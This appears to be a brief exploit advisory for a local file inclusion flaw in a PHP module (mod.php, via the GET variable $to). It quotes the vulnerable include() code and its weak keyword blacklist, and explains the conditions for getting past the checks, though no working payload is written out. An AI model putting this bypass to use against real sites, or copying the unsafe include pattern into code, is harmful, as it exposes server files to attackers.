# Bug: 		Local File Inclusion
# File: 	mod.php
# Var :		$to


# Bug explanation - Vuln Code:

	if (isset($_GET['mod'])) { $mod = stripslashes($_GET['mod']); } else { header("location index.php"); Die(); }
	if (isset($_GET['to'])) { $to = stripslashes($_GET['to']); } else { $to="index"; }

# Our bugged vars are GET's var so we don't need Register_Globals turned On
 
 
	$vietate=array("http","select","union","where","delete","insert","alert","document");
		if (ereg($vietate,strtolower($mod)) OR ereg($vietate,strtolower($to)) ) { 
	 		echo "<META HTTP-EQUIV=\"refresh\" content=\"1;URL=index.php\">";
		} elseif (ereg("[a-zA-Z0-9]",$mod) OR ereg("[a-zA-Z0-9]",$to)) {

# Our exploitation don't use a $vietate word and
# the check of ereg() return true if we use some letters


  ...
# ... we must be logged in and $mod must be a real section
  ...


	if (file_exists("mod/$mod/".$to.".php") ) {
		include("mod/$mod/".$to.".php");
	} else {
		echo "<META HTTP-EQUIV=\"refresh\" content=\"1;URL=index.php\">";
				}
